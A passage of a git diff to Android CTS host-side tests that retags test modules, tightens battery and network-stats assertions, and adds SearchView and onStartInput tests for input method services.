--- a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/hostsidetests/incident/apps/netstatsapp/Android.mk b/hostsidetests/incident/apps/netstatsapp/Android.mk
index 682ec73..88ae35c 100644
--- a/hostsidetests/incident/apps/netstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/netstatsapp/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/storagedapp/Android.mk b/hostsidetests/incident/apps/storagedapp/Android.mk
index b081410..69d597e 100644
--- a/hostsidetests/incident/apps/storagedapp/Android.mk
+++ b/hostsidetests/incident/apps/storagedapp/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
index 4b83b0a..7863ea7 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
@@ -40,6 +40,8 @@
         assertTrue(
                 dump.getPlugged()
                         != BatteryServiceDumpProto.BatteryPlugged.BATTERY_PLUGGED_WIRELESS);
+        assertTrue(dump.getMaxChargingCurrent() > 0);
+        assertTrue(dump.getMaxChargingVoltage() > 0);
         assertTrue(dump.getChargeCounter() > 0);
         assertTrue(
                 dump.getStatus() != BatteryServiceDumpProto.BatteryStatus.BATTERY_STATUS_INVALID);
@@ -51,6 +53,7 @@
         assertTrue(level >= 0 && level <= scale);
         assertTrue(dump.getVoltage() > 0);
         assertTrue(dump.getTemperature() > 0);
+        assertNotNull(dump.getTechnology());
     }
 
     private boolean isLeanback() throws DeviceNotAvailableException {
diff --git a/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java
index f5c13c2..397e598 100644
--- a/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java
@@ -46,7 +46,6 @@
 public class NetstatsIncidentTest extends ProtoDumpTestCase {
     private static final String DEVICE_SIDE_TEST_APK = "CtsNetStatsApp.apk";
     private static final String DEVICE_SIDE_TEST_PACKAGE = "com.android.server.cts.netstats";
-    private static final String FEATURE_WIFI = "android.hardware.wifi";
 
     @Override
     protected void tearDown() throws Exception {
@@ -251,7 +250,7 @@
         return total;
     }
 
-    private void checkInterfaces(List<NetworkInterfaceProto> interfaces) throws Exception{
+    private void checkInterfaces(List<NetworkInterfaceProto> interfaces) {
         /* Example:
     active_interfaces=[
       NetworkInterfaceProto {
@@ -289,9 +288,7 @@
             }
         }
         assertFalse("There must be at least one non-roaming interface during CTS", allRoaming);
-        if (hasWiFiFeature()) {
-            assertFalse("There must be at least one non-metered interface during CTS", allMetered);
-        }
+        assertFalse("There must be at least one non-metered interface during CTS", allMetered);
     }
 
     private void checkStats(NetworkStatsRecorderProto recorder, boolean withUid, boolean withTag) {
@@ -389,9 +386,4 @@
 
         // TODO Make sure test app's UID actually shows up.
     }
-
-    private boolean hasWiFiFeature() throws Exception {
-        final String commandOutput = getDevice().executeShellCommand("pm list features");
-        return commandOutput.contains(FEATURE_WIFI);
-    }
 }
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
index f961f6ea..5739bf4 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
@@ -32,7 +32,7 @@
 import com.android.tradefed.testtype.IBuildReceiver;
 
 import com.google.protobuf.InvalidProtocolBufferException;
-import com.google.protobuf.Message;
+import com.google.protobuf.MessageLite;
 import com.google.protobuf.Parser;
 
 import java.io.FileNotFoundException;
@@ -73,7 +73,7 @@
      * @throws InvalidProtocolBufferException If there was an error parsing
      *      the proto. Note that a 0 length buffer is not necessarily an error.
      */
-    public <T extends Message> T getDump(Parser<T> parser, String command)
+    public <T extends MessageLite> T getDump(Parser<T> parser, String command)
             throws DeviceNotAvailableException, InvalidProtocolBufferException {
         final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
         getDevice().executeShellCommand(command, receiver);
diff --git a/hostsidetests/inputmethodservice/common/Android.mk b/hostsidetests/inputmethodservice/common/Android.mk
index 83bc34d..67b8f9d 100644
--- a/hostsidetests/inputmethodservice/common/Android.mk
+++ b/hostsidetests/inputmethodservice/common/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE := CtsInputMethodServiceCommon
 
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
index 1f694d2..307693a 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
@@ -50,6 +50,12 @@
     public static final String EXTRA_EVENT_SENDER = "event_sender";
 
     /**
+     * Intent extra key for Event parameters like
+     * {@link DeviceEventTypeParam#ON_START_INPUT_RESTARTING}
+     */
+    public static final String EXTRA_EVENT_PARAMS = "event_params";
+
+    /**
      * Intent extra key for what type a device event is. Values are {@link DeviceEventType#name()}.
      *
      * @see android.content.Intent#putExtra(String,String)
@@ -67,6 +73,29 @@
     public static final String EXTRA_EVENT_TIME = "event_time";
 
     /**
+     * Parameter for {@link DeviceEventType}.
+     */
+    public enum DeviceEventTypeParam {
+
+        /**
+         *  Param for {@link DeviceEventType#ON_START_INPUT}. Represents if IME is restarting.
+         */
+        ON_START_INPUT_RESTARTING(DeviceEventType.ON_START_INPUT, "onStartInput.restarting");
+
+        private final DeviceEventType mType;
+        private final String mName;
+
+        DeviceEventTypeParam(DeviceEventType type, String name) {
+            mType = type;
+            mName = name;
+        }
+
+        public String getName() {
+            return mName;
+        }
+    }
+
+    /**
      * Types of device event, a value of {@link #EXTRA_EVENT_TYPE}.
      */
     public enum DeviceEventType {
@@ -106,5 +135,15 @@
         /** Test start and end event types. */
         TEST_START,
         TEST_END,
+
+        /**
+         * {@link android.view.inputmethod.InputMethod#showSoftInput}
+         */
+        SHOW_SOFT_INPUT,
+
+        /**
+         * {@link android.view.inputmethod.InputMethod#hideSoftInput}
+         */
+        HIDE_SOFT_INPUT,
     }
 }
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java
index 172e1a7..9288051 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java
@@ -58,6 +58,9 @@
         // This is constants holding class, can't instantiate.
         private EventTableConstants() {}
 
+        /** Column name of the table that holds Event extras in json format. */
+        public static final String EXTRAS = "extras";
+
         /** Name of the table in content provider and database. */
         public static final String NAME = "events";
 
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
index 6afd337..aa90e11 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
@@ -43,4 +43,10 @@
     public static final String TEST_CREATE_IME1 = "testCreateIme1";
     public static final String TEST_SWITCH_IME1_TO_IME2 = "testSwitchIme1ToIme2";
     public static final String TEST_IME1_IS_NOT_CURRENT_IME = "testIme1IsNotCurrentIme";
+    public static final String TEST_SEARCH_VIEW_GIVE_FOCUS_SHOW_IME1
+            = "testSearchView_giveFocusShowIme1";
+    public static final String TEST_SEARCH_VIEW_SET_QUERY_HIDE_IME1
+            = "testSearchView_setQueryHideIme1";
+    public static final String TEST_ON_START_INPUT_CALLED_ONCE_IME1
+            = "testOnStartInputCalledOnceIme1";
 }
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
index d4786bc..1986e5a 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
@@ -36,7 +36,7 @@
     CtsInputMethodServiceLib
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsInputMethodServiceDeviceTests
 
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml b/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
index 94ba557..f0efb94 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
@@ -25,5 +25,14 @@
         android:layout_width="fill_parent"
         android:layout_height="wrap_content"
         android:background="@android:drawable/editbox_background"/>
+    <SearchView
+        android:id="@+id/search_view"
+        android:layout_below="@id/text_entry"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:iconifiedByDefault="false"
+        android:queryHint="hint"
+        android:inputType="textCapCharacters"
+        android:imeOptions="actionDone" />
 
 </RelativeLayout>
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index f4c0698..e5613ff 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -16,12 +16,19 @@
 
 package android.inputmethodservice.cts.devicetest;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import static android.inputmethodservice.cts.DeviceEvent.isFrom;
 import static android.inputmethodservice.cts.DeviceEvent.isNewerThan;
 import static android.inputmethodservice.cts.DeviceEvent.isType;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.HIDE_SOFT_INPUT;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_CREATE;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_DESTROY;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_FINISH_INPUT;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_START_INPUT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.SHOW_SOFT_INPUT;
 import static android.inputmethodservice.cts.common.ImeCommandConstants.ACTION_IME_COMMAND;
 import static android.inputmethodservice.cts.common.ImeCommandConstants.COMMAND_SWITCH_INPUT_METHOD;
 import static android.inputmethodservice.cts.common.ImeCommandConstants.EXTRA_ARG_STRING1;
@@ -29,24 +36,29 @@
 import static android.inputmethodservice.cts.devicetest.BusyWaitUtils.pollingCheck;
 import static android.inputmethodservice.cts.devicetest.MoreCollectors.startingFrom;
 
+import android.app.Activity;
 import android.inputmethodservice.cts.DeviceEvent;
 import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventTypeParam;
 import android.inputmethodservice.cts.common.Ime1Constants;
 import android.inputmethodservice.cts.common.Ime2Constants;
 import android.inputmethodservice.cts.common.test.DeviceTestConstants;
 import android.inputmethodservice.cts.common.test.ShellCommandUtils;
 import android.inputmethodservice.cts.devicetest.SequenceMatcher.MatchResult;
 import android.os.SystemClock;
+import android.widget.SearchView;
 import android.support.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.Arrays;
+import java.util.List;
 import java.util.concurrent.TimeUnit;
 import java.util.function.IntFunction;
 import java.util.function.Predicate;
 import java.util.stream.Collector;
+import java.util.stream.Collectors;
 
 @RunWith(AndroidJUnit4.class)
 public class InputMethodServiceDeviceTest {
@@ -136,6 +148,82 @@
                 "CtsInputMethod1 is uninstalled or disabled, and current IME becomes other IME");
     }
 
+    @Test
+    public void testSearchView_giveFocusShowIme1() throws Throwable {
+        final TestHelper helper = new TestHelper(
+                getClass(), DeviceTestConstants.TEST_SEARCH_VIEW_GIVE_FOCUS_SHOW_IME1);
+
+        helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+        helper.findUiObject(R.id.search_view).click();
+        pollingCheck(() -> helper.queryAllEvents()
+                        .collect(startingFrom(helper.isStartOfTest()))
+                        .filter(isFrom(Ime1Constants.CLASS).and(isType(SHOW_SOFT_INPUT)))
+                        .findAny().isPresent(),
+                TIMEOUT, "CtsInputMethod1.showSoftInput is called");
+        pollingCheck(() -> helper.queryAllEvents()
+                        .collect(startingFrom(helper.isStartOfTest()))
+                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
+                        .findAny().isPresent(),
+                TIMEOUT, "CtsInputMethod1.onStartInput is called");
+    }
+
+    @Test
+    public void testSearchView_setQueryHideIme1() throws Throwable {
+        final TestHelper helper = new TestHelper(
+                getClass(), DeviceTestConstants.TEST_SEARCH_VIEW_SET_QUERY_HIDE_IME1);
+
+        final Activity activity = helper.launchActivitySync(
+                DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+        final SearchView searchView = (SearchView) activity.findViewById(R.id.search_view);
+        helper.findUiObject(R.id.search_view).click();
+        // test SearchView.onSubmitQuery() closes IME. Alternatively, onCloseClicked() closes IME.
+        // submits the query, should dismiss the inputMethod.
+        activity.runOnUiThread(() -> searchView.setQuery("test", true /* submit */));
+
+        pollingCheck(() -> helper.queryAllEvents()
+                        .collect(startingFrom(helper.isStartOfTest()))
+                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_FINISH_INPUT)))
+                        .findAny().isPresent(),
+                TIMEOUT, "CtsInputMethod1.onFinishInput is called");
+        pollingCheck(() -> helper.queryAllEvents()
+                        .collect(startingFrom(helper.isStartOfTest()))
+                        .filter(isFrom(Ime1Constants.CLASS).and(isType(HIDE_SOFT_INPUT)))
+                        .findAny().isPresent(),
+                TIMEOUT, "CtsInputMethod1.hideSoftInput is called");
+    }
+
+    @Test
+    public void testOnStartInputCalledOnceIme1() throws Exception {
+        final TestHelper helper = new TestHelper(
+                getClass(), DeviceTestConstants.TEST_ON_START_INPUT_CALLED_ONCE_IME1);
+
+        helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+        helper.findUiObject(R.id.text_entry).click();
+
+        // we should've only one onStartInput call.
+        pollingCheck(() -> helper.queryAllEvents()
+                        .collect(startingFrom(helper.isStartOfTest()))
+                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
+                        .findAny()
+                        .isPresent(),
+                TIMEOUT, "CtsInputMethod1.onStartInput is called");
+        List<DeviceEvent> startInputEvents = helper.queryAllEvents()
+                .collect(startingFrom(helper.isStartOfTest()))
+                .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
+                .collect(Collectors.toList());
+
+        assertEquals("CtsInputMethod1.onStartInput is called exactly once",
+                startInputEvents.size(),
+                1);
+
+        // check if that single event didn't cause IME restart.
+        final DeviceEvent event = startInputEvents.get(0);
+        Boolean isRestarting = DeviceEvent.getEventParamBoolean(
+                        DeviceEventTypeParam.ON_START_INPUT_RESTARTING, event);
+        assertTrue(isRestarting != null);
+        assertFalse(isRestarting);
+    }
+
     /**
      * Build stream collector of {@link DeviceEvent} collecting sequence that elements have
      * specified types.
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
index a4b1aae..7f6ba2e 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
@@ -20,9 +20,12 @@
 import static android.inputmethodservice.cts.DeviceEvent.isType;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.TEST_START;
 
+import android.app.Instrumentation;
+import android.app.Activity;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.res.Resources;
 import android.database.Cursor;
 import android.inputmethodservice.cts.DeviceEvent;
 import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
@@ -54,6 +57,7 @@
     private final ContentResolver mResolver;
     private final Context mTargetContext;
     private final UiDevice mUiDevice;
+    private final Instrumentation mInstrumentation;
 
     /**
      * Construct a helper object of specified test method.
@@ -66,7 +70,8 @@
         mTestInfo = new TestInfo(testContext.getPackageName(), testClass.getName(), testMethod);
         mResolver = testContext.getContentResolver();
         mTargetContext = InstrumentationRegistry.getTargetContext();
-        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mUiDevice = UiDevice.getInstance(mInstrumentation);
     }
 
     /**
@@ -105,6 +110,22 @@
     }
 
     /**
+     * Launch test activity synchronously.
+     *
+     * @param packageName activity's app package name.
+     * @param className   activity's class name.
+     * @return instance of Activity
+     */
+    Activity launchActivitySync(final String packageName, final String className) {
+        final Intent intent = new Intent()
+                .setAction(Intent.ACTION_MAIN)
+                .setClassName(packageName, className)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        return mInstrumentation.startActivitySync(intent);
+    }
+
+    /**
      * Return all device events as {@link Stream}
      * @return {@link Stream<DeviceEvent>} of all device events.
      */
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
index fe67791..c573ea4 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
@@ -32,7 +32,7 @@
     CtsInputMethodServiceLib
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsInputMethod1
 
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
index cf9cb37..dbbb460 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
@@ -32,7 +32,7 @@
     CtsInputMethodServiceLib
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsInputMethod2
 
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
index 0223d0d..6977d6b 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
@@ -19,12 +19,13 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-support-annotations \
+    json \
     CtsInputMethodServiceCommon
 
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE := CtsInputMethodServiceLib
 
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
index b6098f9..ff412ef 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
@@ -17,17 +17,20 @@
 package android.inputmethodservice.cts;
 
 import static android.inputmethodservice.cts.common.DeviceEventConstants.ACTION_DEVICE_EVENT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_PARAMS;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TIME;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TYPE;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_SENDER;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_CLASS;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_PACKAGE;
 
+
 import android.content.ContentValues;
 import android.content.Intent;
 import android.database.Cursor;
 import android.inputmethodservice.cts.common.DeviceEventConstants;
 import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventTypeParam;
 import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants;
 import android.inputmethodservice.cts.common.test.TestInfo;
 import android.inputmethodservice.cts.db.Entity;
@@ -35,8 +38,16 @@
 import android.inputmethodservice.cts.db.Table;
 import android.os.SystemClock;
 import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.text.TextUtils;
 import android.util.Log;
 
+import com.android.json.stream.JsonReader;
+import com.android.json.stream.JsonWriter;
+
+import java.io.IOException;
+import java.io.StringReader;
+import java.io.StringWriter;
 import java.util.function.Predicate;
 import java.util.stream.Stream;
 
@@ -51,21 +62,85 @@
 
     public static final Table<DeviceEvent> TABLE = new DeviceEventTable(EventTableConstants.NAME);
 
+    public static IntentBuilder builder() {
+        return new IntentBuilder();
+    }
+
     /**
-     * Create an intent to send a device event.
-     * @param sender an event sender.
-     * @param type an event type defined at {@link DeviceEventType}.
-     * @return an intent that has event {@code sender}, {@code type}, time from
-     *         {@link SystemClock#uptimeMillis()}, and target component of event receiver.
+     * Builder to create an intent to send a device event.
+     * The built intent that has event {@code sender}, {@code type}, {@code paramsString}, time from
+     * {@link SystemClock#uptimeMillis()}, and target component of event receiver.
+     *
      */
-    public static Intent newDeviceEventIntent(@NonNull final String sender,
-            @NonNull final DeviceEventType type) {
-        return new Intent()
-                .setAction(ACTION_DEVICE_EVENT)
-                .setClassName(RECEIVER_PACKAGE, RECEIVER_CLASS)
-                .putExtra(EXTRA_EVENT_SENDER, sender)
-                .putExtra(EXTRA_EVENT_TYPE, type.name())
-                .putExtra(EXTRA_EVENT_TIME, SystemClock.uptimeMillis());
+    public static final class IntentBuilder {
+        String mSender;
+        DeviceEventType mType;
+        JsonWriter mJsonWriter;
+        StringWriter mStringWriter;
+
+        /**
+         * @param type an event type defined at {@link DeviceEventType}.
+         */
+        public IntentBuilder setType(DeviceEventType type) {
+            mType = type;
+            return this;
+        }
+
+        /**
+         * @param sender an event sender.
+         */
+        public void setSender(String sender) {
+            mSender = sender;
+        }
+
+        public IntentBuilder with(DeviceEventTypeParam eventParam, boolean value) {
+            appendToJson(eventParam, value);
+            return this;
+        }
+
+        public Intent build() {
+            Intent intent = new Intent()
+                    .setAction(ACTION_DEVICE_EVENT)
+                    .setClassName(RECEIVER_PACKAGE, RECEIVER_CLASS)
+                    .putExtra(EXTRA_EVENT_SENDER, mSender)
+                    .putExtra(EXTRA_EVENT_TYPE, mType.name())
+                    .putExtra(EXTRA_EVENT_PARAMS, getJsonString())
+                    .putExtra(EXTRA_EVENT_TIME, SystemClock.uptimeMillis());
+
+            mJsonWriter = null;
+            mStringWriter = null;
+            return intent;
+        }
+
+        private String getJsonString() {
+            if (mJsonWriter == null) {
+                return "";
+            }
+            try {
+                mJsonWriter.endObject();
+                mJsonWriter.flush();
+            } catch (IOException e) {
+                throw new RuntimeException("IntentBuilder.getJsonString() failed.", e);
+            }
+            return mStringWriter.toString();
+        }
+
+        private void appendToJson(DeviceEventTypeParam eventParam, boolean value) {
+            final String key = eventParam.getName();
+            if (TextUtils.isEmpty(key)) {
+                return;
+            }
+            try {
+                if (mJsonWriter == null) {
+                    mStringWriter = new StringWriter();
+                    mJsonWriter = new JsonWriter(mStringWriter);
+                    mJsonWriter.beginObject();
+                }
+                mJsonWriter.name(key).value(value);
+            } catch (IOException e) {
+                throw new RuntimeException("IntentBuilder.appendToJson() failed.", e);
+            }
+        }
     }
 
     /**
@@ -93,7 +168,16 @@
                     "Intent must have " + EXTRA_EVENT_TIME + ": " + intent);
         }
 
-        return new DeviceEvent(sender, type, intent.getLongExtra(EXTRA_EVENT_TIME, 0L));
+        String paramsString = intent.getStringExtra(DeviceEventConstants.EXTRA_EVENT_PARAMS);
+        if (paramsString == null) {
+            paramsString = "";
+        }
+
+        return new DeviceEvent(
+                sender,
+                type,
+                paramsString,
+                intent.getLongExtra(EXTRA_EVENT_TIME, 0L));
     }
 
     /**
@@ -158,13 +242,21 @@
     public final DeviceEventType type;
 
     /**
+     * Event parameters formatted as json string.
+     * e.g. {@link DeviceEventTypeParam#ON_START_INPUT_RESTARTING}
+     */
+    public final String paramsString;
+
+    /**
      * Event time, value is from {@link SystemClock#uptimeMillis()}.
      */
     public final long time;
 
-    private DeviceEvent(final String sender, final DeviceEventType type, final long time) {
+    private DeviceEvent(
+            final String sender, final DeviceEventType type, String paramsString, final long time) {
         this.sender = sender;
         this.type = type;
+        this.paramsString = paramsString;
         this.time = time;
     }
 
@@ -174,6 +266,37 @@
     }
 
     /**
+     * @param eventParam {@link DeviceEventTypeParam} to look for.
+     * @param event {@link DeviceEvent} to look in.
+     * @return Event parameter for provided key. If key is not found in
+     * {@link DeviceEvent#paramsString}, null is returned.
+     *
+     * TODO: Support other primitive and custom types.
+     */
+    @Nullable
+    public static Boolean getEventParamBoolean(
+            DeviceEventTypeParam eventParam, final DeviceEvent event) {
+        StringReader stringReader = new StringReader(event.paramsString);
+        JsonReader reader = new JsonReader(stringReader);
+
+        try {
+            reader.beginObject();
+            while (reader.hasNext()) {
+                String name = reader.nextName();
+                if (name.equals(eventParam.getName())) {
+                    Boolean value = reader.nextBoolean();
+                    reader.endObject();
+                    return value;
+                }
+            }
+            reader.endObject();
+        } catch (IOException e) {
+            throw new RuntimeException("DeviceEvent.getEventParamBoolean() failed.", e);
+        }
+        return null;
+    }
+
+    /**
      * Abstraction of device event table in database.
      */
     private static final class DeviceEventTable extends Table<DeviceEvent> {
@@ -183,16 +306,19 @@
         private final Field SENDER;
         private final Field TYPE;
         private final Field TIME;
+        private final Field PARAMS;
 
         private DeviceEventTable(final String name) {
             super(name, new Entity.Builder<DeviceEvent>()
                     .addField(EventTableConstants.SENDER, Cursor.FIELD_TYPE_STRING)
                     .addField(EventTableConstants.TYPE, Cursor.FIELD_TYPE_STRING)
                     .addField(EventTableConstants.TIME, Cursor.FIELD_TYPE_INTEGER)
+                    .addField(EventTableConstants.EXTRAS, Cursor.FIELD_TYPE_STRING)
                     .build());
             SENDER = getField(EventTableConstants.SENDER);
             TYPE = getField(EventTableConstants.TYPE);
             TIME = getField(EventTableConstants.TIME);
+            PARAMS = getField(EventTableConstants.EXTRAS);
         }
 
         @Override
@@ -200,6 +326,7 @@
             final ContentValues values = new ContentValues();
             SENDER.putString(values, event.sender);
             TYPE.putString(values, event.type.name());
+            PARAMS.putString(values, event.paramsString);
             TIME.putLong(values, event.time);
             return values;
         }
@@ -214,6 +341,7 @@
                 final DeviceEvent event = new DeviceEvent(
                         SENDER.getString(cursor),
                         DeviceEventType.valueOf(TYPE.getString(cursor)),
+                        PARAMS.getString(cursor),
                         TIME.getLong(cursor));
                 builder.accept(event);
                 if (DEBUG_STREAM) {
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
index 6ae3568..b37873c 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
